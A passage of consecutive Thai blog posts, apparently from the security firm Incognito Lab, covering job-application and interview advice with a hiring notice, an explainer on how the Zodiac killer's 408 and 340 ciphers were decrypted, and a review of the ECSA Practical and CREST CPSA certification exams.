## ขั้นตอนที่ 2 เขียนในสิ่งที่คนสัมภาษณ์อยากอ่าน ไม่ใช่แค่เราอยากเขียน
ถ้าไม่รู้จักกันมาก่อน การเขียน Email และ Resume เป็นเพียงอย่างเดียวที่บริษัทจะใช้พิจารณาในการคัดเลือกเพื่อเรียกมาสัมภาษณ์
เรื่อง Data Security/Privacy ก็สำคัญนะ ส่วนตัวถ้าเจอคนที่เขียน Resume มาแล้วใส่ วันเดือนปีเกิด ครบเลย จะให้คะแนนติดลบนิด ๆ ไหน ๆ บริษัทก็แค่อยากรู้อายุโดยประมาณอยู่แล้ว จะใส่ละเอียดมันก็ดูไม่ค่อยแคร์ข้อมูลส่วนตัวของตัวเองเลย
การเขียน (Writing) นั้นมีความสำคัญมาก เขียนให้อ่านรู้เรื่อง สะกดให้ถูก Grammar ให้ถูก ให้คนรู้จักตรวจทานให้ซักนิดก่อนส่งก็ได้ ใช้เวลาไม่นานหรอก รวมถึง Resume ก็ควรที่จะ Custom ให้ตรงกับงานที่เราสมัคร บางคนสมัครกี่ตำแหน่งก็ใช้ Resume เดียวกันหมด คนที่คัดเลือกเราเค้าอ่านก็ดูจากพวกนี้แหละแล้วก็ตีความไปได้หลายอย่าง
- อยากมาสมัครตำแหน่งนี้/บริษัทนี้ จริง ๆ หรือ แค่หางานไปเรื่อย
- ทำงานมีความละเอียดประณีตแค่ไหน
## ขั้นตอนที่ 3 เตรียมตัวสัมภาษณ์ให้ดี และมีคำตอบสำหรับคำถามที่คาดไม่ถึง
สิ่งที่ควรเตรียมในวันสัมภาษณ์
1. แต่งตัวให้เรียบร้อย
2. เตรียมความรู้ที่ Support กับเรื่องที่เราเขียนใน Resume ซึ่งคำถามส่วนใหญ่ก็คงหนีไม่พ้นเรื่องที่เราโฆษณาไว้ใน Resume นั่นแหละ ถ้าโฆษณาไว้เกินจริงก็ต้องเตรียมตัวมาดีหน่อย นอกจากนี้เราควรจะมีพื้นฐานความรู้ที่ดี เพื่อที่จะใช้ apply ในการตอบคำถามให้ดียิ่งขึ้น
3. เตรียมโดนคำถามที่ Challenge หรือ โจทย์ที่ที่ยังไม่ตกผลึกในคำตอบ ซึ่งบางครั้งคำถามประเภทนี้มันไม่ได้มีคำตอบที่ถูกผิด 100% มันจะเป็นคำถามที่ทดสอบการวิเคราะห์และรับมือกับสถานการณ์นั้น ๆ มากกว่า มันก็เหมือนกับว่าตอนทำงานจริง ถ้าเจองานที่ยาก เราก็ไม่ได้ตั้งความหวังว่าคุณจะทำงานนั้นได้ทันที แต่คุณจะมีวิธีรับมือกับมันอย่างไร
## ขั้นตอนที่ 4 ทำใจล่วงหน้าว่าเราอาจไม่ใช่คนที่ "ใช่" ในองค์กรนั้น
การสัมภาษณ์ส่วนใหญ่มักจะให้ผู้บริหารคุย แต่ที่ Incognito Lab คุณจะได้คุยกับทีมงานหลายคนมาก ๆ (การมาสัมภาษณ์ก็จะนาน ๆ หน่อย) เนื่องจากเราให้ความสำคัญกับเรื่องนี้อย่างมาก new comer ควรจะต้องเข้ากับทีมได้ดี ต่อให้เจอคนที่เก่งมาก แต่ดูแล้วเข้ากับทีมเราไม่ได้ เราก็ไม่ได้เลือกนะ (อยากจะบอกว่าถ้าเก่งแล้วเค้าไม่เลือกเรา อย่าไปเสียใจ มันมีเหตุผลอื่น ๆ อีกที่ไม่สามารถอธิบายให้ผู้สมัครเข้าใจได้ง่าย)
ที่ Incognito Lab เรามองว่า Technical skill เป็นเรื่องเล็ก ถ้ามี Foundation ดี สามารถ build ให้ได้อยู่แล้ว แต่ถ้า mindset หรือ เรื่องนิสัย ไม่เข้ากันจะปรับเปลี่ยนได้ยาก และ อาจทำให้งานไม่ smooth ได้
ซึ่งในทางกลับกันบางบริษัทอาจจะไม่สนใจเรื่องนี้เลยก็มี เนื่องด้วยประเภทของเนื้องานเค้า เช่น แต่ละ Project อาจทำงานคนเดียวก็พอ ไม่ต้องสนใจเรื่อง Team ก็ได้
สำหรับที่ Incognito Lab ในช่วงนี้ก็มีการเปิดรับสมัครทีมงานเพิ่มในส่วนของ Security Specialist โดย Lab ของเราอยู่ที่สาทร เดินทางไม่ไกลจาก MRT ลุมพินี คุณสมบัติที่เราอยากได้เบื้องต้นคือ
- เข้ากับทีมได้ดี มี mindset ในการทำงานที่ดี
- สนุกกับเรื่อง Security
- ชอบความท้าทาย และสนุกกับการแก้ปัญหาหรือทำโจทย์ที่ยาก ๆ
- พื้นฐานความรู้ด้าน Network, System, Application ดี
งานที่เราทำมีทั้งในมุมของที่ปรึกษาเรื่อง Standard/Compliance ต่าง ๆ รวมถึงการทำ Pentest, Red Teaming, Incident Response และการวิจัยต่าง ๆ ครับ เมื่อเข้ามาอยู่ในทีมเราแล้ว เราให้ความสำคัญกับการเรียนรู้และพัฒนา และมีการซัพพอร์ตเรื่อง Certificate รวมถึงการเข้า Conference ต่าง ๆ ถ้าใครสนใจอยากมาร่วมทีมกับเรา ส่ง Resume มาได้ที่
# ถอดรหัสข้อความที่ 2 ของฆาตกรต่อเนื่อง Zodiac
มีคนสามารถถอดรหัสข้อความที่ 2 ของฆาตรกรต่อเนื่องที่ใช้ชื่อ Zodiac ได้สำเร็จ ซึ่งเป็นคดีที่มีอายุมากว่า 50 ปีแล้ว และยังคงเป็นคดีที่เป็นปริศนาอยู่จนทุกวันนี้
ในศาสตร์ของการเข้ารหัสลับ (Cryptography) เรื่องนี้ถือเป็นเรื่องที่น่าสนใจมาก ๆ เราจึงสรุปใจความสำคัญและขั้นตอนวิธีการที่นักวิเคราะห์ใช้เพื่อถอดรหัสข้อความของฆาตรกรได้ ดังนี้ครับ
1. จดหมายหรือข้อความเข้ารหัสของฆาตรกรมีด้วยกัน 2 ชุด ถูกเรียกว่า 408 และ 340 ตามจำนวนของตัวอักษรทั้งหมดที่ปรากฎในข้อความ
2. ข้อความประกอบไปด้วยตัวพิมพ์ใหญ่ภาษาอังกฤษ ตัวพิมพ์ใหญ่ภาษาอังกฤษแบบเขียนกลับหลัง หรือกลับหัว และสัญลักษณ์ที่มีความใกล้เคียงกับสัญลักษณ์ราศี
3. เมื่อนับจำนวนตัวอักษรและสัญลักษณ์ที่แตกต่างกันแล้วจะพบว่ามีจำนวน 54 ตัว ซึ่งเมื่อเทียบกับตัวอักษรในภาษาอังกฤษแล้วมีเพียง 26 ตัวเท่านั้น
4. ข้อความชุดแรก 408 ถูกถอดรหัสได้โดย Donald Harden ตั้งแต่ปี ค.ศ. 1969 โดยเป็นการเข้ารหัสแบบแทนตัวอักษร (Substitution Cipher) วิธีนี้ที่รู้จักกันดีก็อย่างเช่น ROT13 หรือ รหัสซีซาร์ (Caesar cipher) แต่ในเมื่อจำนวนสัญลักษณ์มีมากกว่าจำนวนตัวอักษรที่เป็นไปได้ในภาษาอังกฤษ ทำให้เข้าข่ายที่จะเป็น Homophonic substitution ซึ่งก็คืออีกรูปแบบหนึ่งของการเข้ารหัสแบบ substitution เพียงแค่ไม่ได้ map แบบ 1:1 แต่กลายเป็นว่า 1 ตัวอักษร อาจถูกแทนที่ได้มากกว่า 1 สัญลักษณ์ อย่างในกรณีนี้ก็คืออย่างน้อย 2:1 (54:26)
4.1. การถอดรหัสข้อความ 408 เริ่มจากวิธีนับความถี่ที่แต่ละสัญลักษณ์ปรากฎขึ้น (n-gram)
4.2. อย่างที่กล่าวไปว่าการเข้ารหัสอาจเป็น Homophonic substitution ซึ่งวิธีนี้ถูกคิดค้นมาเพื่อให้การถอดรหัสโดยวิเคราะห์ n-gram ทำได้ยากมากหรือได้ stat ที่ไม่ตรงตามความจริงหรือสะท้อนอะไรเลย
4.3. Harden พยายามมองหาสัญลักษณ์เดียวกันที่มีการเขียนติดกันแทน ซึ่งให้ผลลัพธ์ที่ดีกว่าการจับความถี่เป็นรายสัญลักษณ์ โดยการหาสัญลักษณ์เดียวกันที่เขียนติดกันหรือเขียนเบิ้ล หมายความว่าสัญลักษณ์นั้นอาจถูกแทนที่จาก AA, BB, CC ...
4.4 เมื่อเทียบกับคำศัพท์ในภาษาอังกฤษแล้ว ตัวอักษรที่พบว่ามีการเขียนเบิ้ลเยอะที่สุด 3 อันดับแรกคือ LL EE และ SS ตามลำดับ
4.5 Harden แทนที่สัญลักษณ์ที่เขียนติดกันด้วย LL แล้วคาดเดาว่าคำที่น่าจะปรากฎในจดหมายจากฆาตรกร ที่มี LL ประกอบอยู่ในคำ น่าจะเป็นคำว่า "KILL" ที่แปลว่า ฆ่า
4.6 เมื่อสามารถถอดสัญลักษณ์ให้จำนวนหนึ่งให้กลายเป็นตัวอักษร K I และ L ได้แล้วส่วนที่เหลือก็สามารถคาดเดาได้ง่ายขึ้น และถอดรหัสได้ตามมาในไม่ช้า
4.7 ข้อความถอดรหัสที่ได้มีการเขียนผิด เขียนตกไปบ้าง และมี 16 ตัวสุดท้ายที่ถอดความออกมาได้ไม่มีความหมาย โดยได้คำว่า "EBEO RIET EMETH HPITI"
4.8 ถึงแม้อย่างนั้น จากการยืนยันของหลายฝ่ายทั้ง ตำรวจและ FBI ลงความเห็นกันว่าข้อความนี้ถอดรหัสได้ถูกต้องแล้ว
4.9 ทั้งนี้ด้วยการที่ข้อความเข้ารหัสถูกเขียนด้วยมือ แต่เชื่อว่าฆาตรกรน่าจะเข้ารหัสข้อความทั้งหมดแบบ manual ส่งผลให้ข้อความเข้ารหัสที่ได้อาจเกิดข้อผิดพลาดได้จากความสับสนระหว่างเข้ารหัสของฆาตรกรเอง หรือการถอดความลายมือของฆาตรกรผิด อย่าง สัญลักษณ์ △ และ A ที่มีความใกล้เคียงกันซึ่งอาจสร้างความเข้าใจผิดได้
5.ข้อความชุดสอง 340 ออกมาภายหลังซึ่งใช้ทั้งสัญลักษณ์ที่ต่างจากเดิมที่มีเพียง 54 สัญลักษณ์เป็น 63 สัญลักษณ์ และวิธีการเข้ารหัสก็ต่างจากเดิม ทำให้ใช้วิธีเดียวกับ 408 ไม่ได้ และถูกทิ้งไว้เป็นปริศนามาจนถึงเร็ว ๆ นี้
5.1 ข้อความ 340 ถูกถอดรหัสได้สำเร็จโดย David Oranchak, Sam Blake, and Jarl Van Eycke. ในปลายปี ค.ศ. 2020
5.2 ทางทีมผู้ถอดรหัสยังคงเชื่อว่าฆาตรกรใช้การเข้ารหัสแบบ Substitution Cipher เหมือนเดิม เพียงแต่ข้อความหลังเข้ารหัสแล้วอาจถูกกระทำบางอย่างก่อนเพื่อให้ไม่สามารถที่จะวิเคราะห์และถอดรหัสได้แบบตรงไปตรงมา
5.3 หลังจากการวิเคราะห์อย่างยาวนานก็พบว่าข้อความเข้ารหัส จะถอดได้จำเป็นต้องแบ่งออกเป็น block ละ 9 บรรทัด ทำให้แบ่งได้เป็น 3 block
5.4 ในแต่ละ block จะไม่ได้ใช้การอ่านแต่ละตัวอักษรจากซ้ายไปขวาแบบปกติ แต่จะต้องประกอบอักษรแบบทแยงมุมเริ่มจากบรรทัดแรกตัวอักษรซ้ายสุด ต่อด้วยตัวที่ i+2 ของบรรทัดถัดไปจากบนลงล่าง โดยที่ i คือ ตำแหน่งในแถวของตัวอักษรปัจจุบัน
5.5 เนื่องจากทีมผู้ถอดรหัสเคยถอดพบคำศัพท์บางคำที่อ่านได้ใจความมาแล้วโดยบังเอิญ จึงกำหนดให้สัญลักษณ์บางตัวถูกแทนที่ด้วยตัวอักษรตามคำที่เคยเจอ จนทำให้ในที่สุดก็สามารถถอดความข้อความของ block แรกได้สำเร็จ
5.6 สิ่งที่ทำให้ทีมผู้ถอดรหัสมั่นใจกับผลลัพธ์ที่ได้เพราะว่าในเนื้อหาของข้อความที่ได้มีความสอดคล้องกับสถานการณ์ในช่วงเวลาที่มีฆาตรกรปล่อยข้อความเข้ารหัสนี้ออกมาจริง ๆ อย่างการพูดถึงห้องรมแก๊สซึ่งเป็นการประหารชีวิตนักโทษของสหรัฐอเมริกาในช่วงเวลานั้น
5.7 เมื่อนำวิธีของ block ที่ 1 ไปปรับใช้กับ 2 และ 3 พบว่าสามารถถอดความได้เพียงเล็กน้อยเท่านั้น จำเป็นต้องอาศัยการปรับแก้ และคาดเดาเพิ่มอีกประมาณหนึ่ง
5.8 block ที่ 2 ทีมผู้ถอดรหัสพบว่ามี 1 บรรทัดที่ถูกเลื่อนไปทางซ้าย 1 ตำแหน่งอย่างจงใจ หากทำการเลื่อนสัญลักษณ์ในแถวดังกล่าวไปทางขวา 1 ตำแหน่งจึงจะทำให้สามารถอ่านข้อความถอดรหัสได้ใจความ
5.9 ยังพบอีกว่า block ที่ 2 มีคำว่า "LIFE IS" ซึ่งถูก fix เอาไว้ที่ขวาสุดของบรรทัดแรก ซึ่งหากตัดคำดังกล่าวออกก่อนที่จะปรับข้อความตามแนวทแยง ตามข้อ 5.4 จะทำให้ block ที่ 2 สามารถถอดความออกมาได้สมบูรณ์
5.10 block ที่ 3 หลังจากนำวิธีของ block ที่ 1 มาปรับใช้พบว่าอ่านออกบ้างไม่ออกบ้าง ซึ่งเมื่อแยกคำศัพท์ที่อ่านออกกับอ่านไม่ออก ออกจากกัน จะพบ pattern ว่าคำที่ยังอ่านไม่ออกนั้นจงใจเขียนกลับหลัง เช่น LIFE ถูกเขียนเป็น EFIL หรือ PARADISE (คำที่ฆาตรกรใช้บ่อย) ถูกเขียนเป็น ESIDARAP หากจัดเรียกคำเหล่านี้ใหม่ก็จะทำให้ block ที่ 3 อ่านออกได้สมบูรณ์เช่นกัน
อย่างไรก็ตามทั้ง 2 ข้อความที่ถูกถอดรหัสได้สำเร็จนั้นได้รับการยอมรับจากคนหมู่มากเพียงเท่านั้น ไม่ได้รับการยืนยันจากเจ้าตัวหรือฆาตรกรผู้เข้ารหัสข้อความนี้ด้วยตนเอง ทำให้ยังคงเป็นไปได้ว่าวิธีการที่ใช้ข้างต้นนั้น อาจจะยังไม่ถูกต้อง และบางประโยคหรือบางคำศัพท์อาจถูกถอดรหัสออกมาไม่ถูกต้องอยู่
ผู้ถอดรหัสเองได้ชี้ถึงช่องโหว่ของวิธีที่ Robert Greysmith ใช้ในการคาดเดาข้อความถอดรหัสของฆาตรกร จากการสลับจัดเรียงตัวอักษรใหม่ ซึ่งสุดท้ายแล้วไม่ได้รับการยอมรับโดย FBI ว่าเป็นวิธีที่ถูกต้อง เพราะเพียงแค่ 18 ตัวอักษรภาษาอังกฤษก็ทำให้เกิดคำศัพท์เพื่อนำมาจัดเรียงเป็นประโยคให้ได้ใจความกว่าหมื่นหรือแสนรูปแบบแล้ว
เรื่องราวการพยายามถอดรหัสของ Robert Greysmith เคยถูกสร้างเป็นภาพยนตร์ในชื่อ Zodiac ในปี ค.ศ. 2007 ซึ่งเจ้าตัวเป็นคนให้ข้อมูลสำหรับบทภาพยนตร์ด้วยตนเอง กำกับโดย David Fincher นำแสดงโดย Jake Gyllenhaal และ Robert Downey Jr.
สำหรับใครที่สนใจในรายละเอียดที่ลึกกว่านี้ว่าทีมผุ้ถอดรหัสมีแนวคิด และนำเอาทฤษฎีหรือหลักการใดมาใช้บ้าง รวมไปถึง detail ในคดีนี้ที่นอกเหนือจากการพยายามถอดรหัส ทางทีมผู้ถอดรหัสได้ทำคลิปอธิบายเป็นขั้นเป็นตอนอย่างละเอียดให้ผู้ที่สนใจเข้าไปลองฟังและศึกษาได้ตาม link นี้
EP 1 - {rel=""nofollow""}
EP 2 - {rel=""nofollow""}
EP 3 - {rel=""nofollow""}
EP 4 - {rel=""nofollow""}
EP 5 - {rel=""nofollow""}
สุดท้ายนี้ทีมงาน Incognito Lab ทุกคนขอแสดงความเคารพและขอบคุณทุกคนทีอุทิศตนหรือพยายามช่วยกันแก้ไขปริศนานี้ให้เข้าใกล้ความจริงเข้าไปทีละก้าว พวกเราเองก็หวังว่าความจริงของคดีนี้จะถูกค้นพบในสักวัน
source
\- [http://zodiackillerfacts.com/.../breaking-news-the.../](http://zodiackillerfacts.com/news-and-updates/breaking-news-the-zodiacs-340-cipher-has-been-solved/?fbclid=IwAR39IHNuP%5F34wg7tSfMHXMK9FsNgQFY14MaeLLf-DAWXazVBYv5%5Fm5NFSpQ){rel=""nofollow""}
\- [http://zodiackillerciphers.com/408/key.html](http://zodiackillerciphers.com/408/key.html?fbclid=IwAR3VhYS-i-hHLsuoljZq9BNS3MbfD73fTLZ-Qt4vuiJ8M1d3YXI5qwrVHZg){rel=""nofollow""}
\- [http://zodiackillerciphers.com](https://l.facebook.com/l.php?u=http%3A%2F%2Fzodiackillerciphers.com%2F%3Ffbclid%3DIwAR27CubKnWdqBVECQd3AVVu4CyWzIlL3FgxAc2Mit-QhjRgW%5Fq6bWtxddbc&h=AT1bOQJRzchVpf7zTKPgBTXSxS3s7dvvM8KvRz2FqOIuF5cWWeoCujYMnENNOQvEDjviAeplO-sdJIYVNwNcMpcv5xWxtp5e8Fuhn-aM5cblMWbfAXi0p5agAGjNhCBmvQK%5FEYEO&%5F%5Ftn%5F%5F=-UK-R&c%5B0%5D=AT2fJtjqCwJI377uMfPBG0VEU4I58wW8bAo6lzvnWv21z6GGb9-DSWXTQfzolAwfLVMiKXmqPdsb33D4GtC0zQDLe-m0J0z39P0FqmHZzdugSVFvsqtT65nWJHhTHTCGCUJBWMTSX%5Fzhr1yWbGUZ-amcBIdmqQ9pJnFn8S1cXOfR6gZ9dilS%5Fj428iTR27YuHXlCvu7k){rel=""nofollow""}
# รีวิวการสอบ ECSA Practical + CPSA เส้นทางไปสู่ CRT
## เส้นทางสู่การไปต่อ CREST CRT Certificate
CREST นั้นมีโครงการ คือ Certification Equivalency Recognition Programmes ซึ่งเป็นโครงการที่ทาง CREST ได้ทำข้อตกลงร่วมกับ Offensive Security และ EC-Council โดยหากผู้สอบมี Certificate ของ 2 ค่ายนี้ที่ตรงตามข้อกำหนดของ CREST ก็สามารถที่จะไปทำการขอ Certificate ของ CREST ได้ด้วย
ซึ่งเป้าหมายที่เราจะทำการสอบในครั้งนี้ คือ CREST Registered Penetration Tester (CRT)
เหตุผลที่ในการสอบเพื่อให้ได้ CRT คือ CREST Registered Penetration Tester (CRT) เป็น Certificate ที่มีชื่อเสียงและได้รับการยอมรับในระดับสากล และ เป็น Career path นึงในการทำงานด้าน Cybersecurity อีกด้วย
ซึ่งวิธีการที่จะได้รับ CREST CRT Certificate ตามโครงการที่กล่าวไปนั้นสามารถทำได้ทั้งหมด 3 เส้นทาง ดังต่อไปนี้
1. สอบ CREST CPSA แล้วไปสอบ CREST CRT ต่อ
2. สอบ ECSA Practical + CREST CPSA แล้วไปขอ CREST CRT
3. สอบ OSCP + CREST CPSA แล้วไปขอ CREST CRT
{width="100%"}
{rel=""nofollow""}
### เตรียมตัวก่อนสอบ ECSA Practical
ECSA (Practical) เป็นสอบรูปแบบ Online Lab ที่บ้าน (คล้าย OSCP ไม่ต้องไปศูนย์สอบ) ซึ่งจะมีระยะเวลาการสอบรวมทั้งสิ้น 12 ชั่วโมงในการสอบ เงื่อนไขที่จะผ่านได้ คือ จำเป็นต้องทำการผ่าน 5 challenges จาก 8 challenges และจัดทำ Report ที่เป็นการอธิบายถึงวิธีการทดสอบแต่ละ challenges ที่เราได้ทำ ในส่วนถัดไปก็จะมารีวิวขั้นตอนที่เจอทั้งหมดตั้งแต่ก่อนเริ่มสอบยันสอบเสร็จมาให้อ่านกัน
### เตรียมความรู้ก่อนสอบ
เนื่องจากผมซื้อแต่ Voucher สอบอย่างเดียวจึงไม่มี Material ผมจึงใช้วิธีไปศึกษาจาก TryHackMe โดยห้องที่ join เล่นก็เป็นรูปแบบ Free สามารถเข้าเล่นได้เลย
1. Metasploit ({rel=""nofollow""})
2. Nmap ({rel=""nofollow""})
3. Linux PrivEsc ({rel=""nofollow""})
4. Blue ({rel=""nofollow""})
5. Tomghost ({rel=""nofollow""})
6. WebAppSec 101 ({rel=""nofollow""})
### กำหนดวันสอบ
ก่อนจะสอบนั้นเราจำเป็นต้องทำการกำหนดวันสอบเพื่อนัดกับทาง EC-Council โดยขั้นตอนก่อนจะกำหนดวันสอบนั้น เราต้องนำ Voucher Code ไปกรอกที่เว็บไซต์ {rel=""nofollow""} เมื่อกรอกเสร็จสิ้นจะมีรายละเอียดของ Certificate ในหน้าเมนู My Courses ของเรา
จากนั้นเราต้องไปทำการ Activate Dashboard เพื่อที่จะกำหนดวันสอบ ก่อนกด Activate Dashboard เราควรที่จะต้องมีการเตรียมตัวมาแล้ว เพราะหากเราได้ทำการ Activate ไปแล้วจะไม่มีทางขอหยุดเวลาของ Dashboard ได้ ซึ่ง Dashboard นั้นจะมีอายุเพียง 15 วัน นับจากวันที่กด Activate ไป หาก Dashboard หมดอายุไปนั้นก็เป็นการสิ้นสุดการสอบ ดังนั้นอย่าลืมที่จะเช็คเวลาที่ Dashboard Activate อยู่ด้วย
การกำหนดวันสอบนั้นเราต้องกำหนดวันสอบก่อน 3 วันล่วงหน้า โดยทาง EC-Council จะมีระบบมาให้เราสามารถกำหนดวันสอบโดยจะมี User Guide สอนขั้นตอนการลงทะเบียนและเลือกวันสอบให้กับเรา
ในขั้นตอนการเลือกวันสอบ ผมเกิดมีปัญหาที่ไม่สามารถทำการกำหนดวันสอบได้ ถึงแม้วันนั้นจะมี Slot ว่างให้ลงเวลาสอบก็ตาม จึงทำการติดต่อผ่าน Live Chatในหน้าเว็บไซต์ว่าพบเจอปัญหาดังกล่าว ทาง EC-Council บริการคอยช่วยเหลือและแก้ปัญหาให้ ซึ่งตรงนี้ผมจึงได้ขอนัดวันที่จะสอบกับทางเขาผ่านช่องทาง Live Chat และทางเขาหาช่วงเวลาในการสอบให้เป็นกรณีพิเศษ โดยส่วนที่ควรระมัดระวังและตรวจสอบให้ดี คือ การกำหนดเวลาสอบจะเป็น Time zone ของเขา คือ EST
> ดังนั้นหากพบปัญหาอะไรที่เราไม่สามารถแก้ได้ด้วยตัวเอง ต้องรีบทำการติดต่อ Live Chat อย่างเร่งด่วน ไม่งั้นอาจเสียโอกาสในการสอบไปได้
### วันสอบ
เมื่อถึงวันสอบ ถ้าตาม Flow ปกติหน้าเว็บไซต์ที่ลงทะเบียนวันสอบ เราจะต้องกดปุ่มในหน้าเว็บไซต์เพื่อทำการติดต่อ Proctor แต่เนื่องจากผมมีปัญหาเป็นกรณีพิเศษ จึงทำให้ในวันสอบทาง EC-Council ส่ง Email มาหาเราก่อนเวลาสอบประมาณ 30 นาที
โดยในเนื้อหา Email จะมี Link ที่เป็นคำเชิญให้เข้าร่วมไปในโปรแกรมที่เขากำหนดมาให้ โดยที่เขาจะให้เราทำการติดตั้งโปรแกรมไว้บนเครื่องคอมพิวเตอร์ของเรา จากนั้นการติดต่อสื่อสารทั้งหมดจะผ่านโปรแกรมที่เขาให้ติดตั้งมา และจำเป็นต้องเปิดกล้องและไมโครโฟนตลอด :br
เวลาในการสอบ หากมีปัญหาหรือข้อสงสัยอะไรก็สามารถถามกับ Proctor ได้เลย
(คำแนะนำควรที่จะตรวจสอบ Internet ของเราด้วยว่ามีความพร้อมหรือไม่ เพราะต้องทำการ Live Streaming ตลอดเวลาที่สอบ หาก Internet ของเราไม่เสถียรอาจเกิดปัญหาและทำให้เสียเวลาได้ในระหว่างที่ทำการสอบ )
จากนั้นก่อนเริ่มสอบทาง Proctor ของ EC-Council จะขอตรวจสอบบริเวณที่เราสอบโดยให้หมุนกล้องให้ครบรอบบริเวณ หากมีอุปกรณ์ เช่น โทรศัพท์ บนโต๊ะ Proctor ก็จะให้เราย้ายไปวางไว้ที่อื่น หลังจากทำการตรวจสอบเสร็จแล้ว Proctor จะส่ง Policy การสอบมาให้เราอ่านเพื่อยอมรับก่อนที่จะเริ่มสอบ
ในการจะเริ่มสอบได้นั้นต้องให้ Proctor ทำการกรอกข้อมูล Credential เพื่อทำการปลดล๊อค ให้สามารถทำการสอบได้โดยที่ Proctor จะขอสิทธิ์ในการควบคุมคอมพิวเตอร์ของเราและทำการกรอก Credential เพื่อทำการเริ่มสอบ โดยเราจะทำการสอบผ่านเว็บแอปพลิเคชัน
เมื่อเริ่มสอบจะมีเวลานับถอยหลัง คือ 12 ชั่วโมง เราไม่สามารถขอหยุดเวลาแล้วมาเริ่มสอบที่หลังได้ เวลาจะนับถอยหลังไปเรื่อย ๆ จนหมดเวลา ในการสอบจะเป็นรูปแบบ Virtual Environment โดยเราไม่สามารถทำการ Copy แล้วเอามา Paste ที่เครื่องคอมพิวเตอร์เราได้ ควรจะใช้โปรแกรมประเภท Screen Capture ในการถ่ายภาพหน้าจอ และค่อยมาพิมพ์พวกตัวอักษรทีหลัง
ระหว่างที่เราสอบนั้นเราสามารถใช้ Internet หรือ อ่านหนังสือได้ เพื่อหาข้อมูล เพราะเป็นการสอบรูปแบบ Open book เราไม่ต้องกังวลที่จะต้องเตรียมเครื่องมือในการทำการทดสอบเจาะระบบ เพราะทางเขาจะเตรียมพร้อมมาให้ โดยมีเครื่องมาทั้งหมด 2 เครื่อง ที่อยู่ในรูปแบบ Virtual Environment ให้เรา คือ Kali Linux กับ Window Server 2012 มาให้เราใช้งาน ทั้ง 2 เครื่องนี้จะไม่สามารถออก Internet ได้
จากที่บอกในช่วงเริ่มต้นไปนั้นว่า เงื่อนไขที่จะผ่านการสอบ คือ ต้องทำ Challenge ให้ได้ 5 Challenges จาก 8 Challenges ซึ่งทั้งหมด 8 เครื่องนั้นจะมี IP Address หรือ Domain เป็นเป้าหมายมาให้เราทดสอบ
เริ่มต้นเราก็ควรที่ทำ Information Gathering ให้ได้ข้อมูลที่เพียงพอ เพื่อใช้ในการหาเส้นทางไปสู่การเข้า Compromise ระบบ การสอบนี้ไม่มีจำกัดเครื่องมือที่ใช้สามารถใช้ Automate Tool ได้เต็มที่เท่าที่มีในเครื่อง Kali Linux ที่ทางเขาเตรียมมาให้ ต่อมาสิ่งที่เราต้องหาให้ได้ในแต่ละเครื่อง คือ Flag ซึ่งเป็นค่าที่จะอยู่ในไฟล์ secret.txt นั้นเอง
สิ่งที่จำเป็นต้องระวัง คือ เรื่องการกรอก Flag ที่ได้มา เช่น อักษรภาษาอังกฤษตัว O (โอ) กับตัวเลข 0 (ศูนย์) หรืออักษรภาษาอังกฤษ I (ไอใหญ่) กับตัวเลข l (หนึ่ง) เป็นต้น ถ้าหากกรอกผิดไปสักตัวคะแนนข้อนั้นหายไปได้เลย
ระหว่างทำข้อสอบเราควรที่จะทำการ Capture ภาพหน้าจอขั้นตอนการทำ ตั้งแต่เริ่มทำ Information Gathering จนถึง Compromise เครื่องเพื่อเข้าไปอ่านไฟล์ secret.txt ให้ละเอียด เพื่อจะนำมาเขียน Report ในตอนท้าย เราสามารถทำการขอเสร็จสิ้นการสอบก่อนที่จะครบกำหนดเวลาได้ โดยที่เราต้องบอกกับทาง Proctor ให้ทราบก่อนแล้วค่อยใช้งานฟังก์ชันเพื่อเสร็จสิ้นการสอบ
เมื่อเราสอบเสร็จ ก็จะต้องทำการเขียน Report ไม่จำเป็นต้องเขียน Report ให้เสร็จภายใน 12 ชั่วโมงหลังสอบเสร็จ เรายังมีเวลาเหลือในการเขียน Report อีกเยอะ ซึ่งการส่ง Report นั้นจำเป็นต้องส่งภายในระยะเวลาก่อน Dashboard จะหมดเวลา คิดเป็นวันง่าย ๆ เราก็เหลือเวลาเขียน Report ตั้ง 11 วัน เขียนกันแบบชิว ๆ
การเขียน Report นั้นปกติจะมีองค์ประกอบต่าง ๆ เยอะแยะ ซึ่งในส่วนนี้เราไม่ต้องกังวล เพราะทาง EC-Council เขาจะมี Template มาให้ไว้แล้ว เราก็สามารถทำการ Download มาแก้ไขได้เลย โดยในส่วนเนื้อหาที่แก้ส่วนใหญ่จะเป็นบทที่ 2 ของ Template Report (ตอนเขียน Report ผมแก้แค่บทที่ 2 อย่างเดียวเลย บทอื่นไม่ได้แก้ไป)
เมื่อเขียน Report เสร็จแล้วเราก็ทำการส่ง Report นี้เข้าไปในระบบ Aspen ของทาง EC-Council โดย Format ต้องเป็นไฟล์รูปแบบ PDF หลังจากผ่านไปประมาณ 3 วัน ทางเขาก็จะส่ง Email ติดต่อกลับมา ก็พบกับคำว่า "Congratulation" กับการที่เราสอบผ่านแล้ว
### เตรียมตัวก่อนสอบ CREST CPSA
หลังจากที่ทำการสอบ ECSA Practical ผ่านมาได้แล้วก็เตรียมตัวอ่านหนังสือเพื่อเตรียมสอบตัวถัดมาอย่าง CREST CPSA เพื่อเป็นอีกส่วนนึงในการเอา CREST CRT มาให้ได้ ซึ่งขั้นตอนการสอบจะมีรายละเอียดดังต่อไปนี้
### เตรียมความรู้ก่อนสอบ
CREST นั้นจะไม่มี Material หลักที่เป็นของตัวเอง แต่ในหน้าเว็บไซต์มีการบอกถึงหนังสือที่มีเนื้อหาใช้ในการสอบอยู่ ซึ่งประกอบไปด้วยดังนี้
1. Network Security Assessment (by O’Reilly, 2nd edition)
2. Hacking Exposed Linux
3. Red Team Field Manual (RTFM) (by Ben Clarke)
4. Nmap Network Scanning: The Official Nmap Project (by Gordon Lyon)
5. Guide to Network Discovery and Security Scanning
6. Grey Hat Hacking (by Allen Harper, Shon Harris & Jonathan Ness)
Link: {rel=""nofollow""}
หลังจากเรารู้แล้วว่าต้องอ่านหนังสือเล่มไหนบ้าง ก็มาเตรียมตัวที่จะอ่านหนังสือ ซึ่งหัวข้อที่เราจะต้องไปศึกษามานั้นก็สามารถอ้างอิงได้จากใน Syllabus ของทาง CREST
{width="100%"}
{rel=""nofollow""}
เนื่องจากหนังสือมีหลายเล่มจึงทำให้ต้องอ่านและจำเนื้อหาเยอะมาก จากที่สอบเนื้อหาส่วนใหญ่จะมาจากเล่ม Network Security Assessment หากทำความเข้าใจและจดจำเนื้อหาในเล่มนี้ได้ ก็เพิ่มโอกาสในการสอบผ่านได้แน่นอน
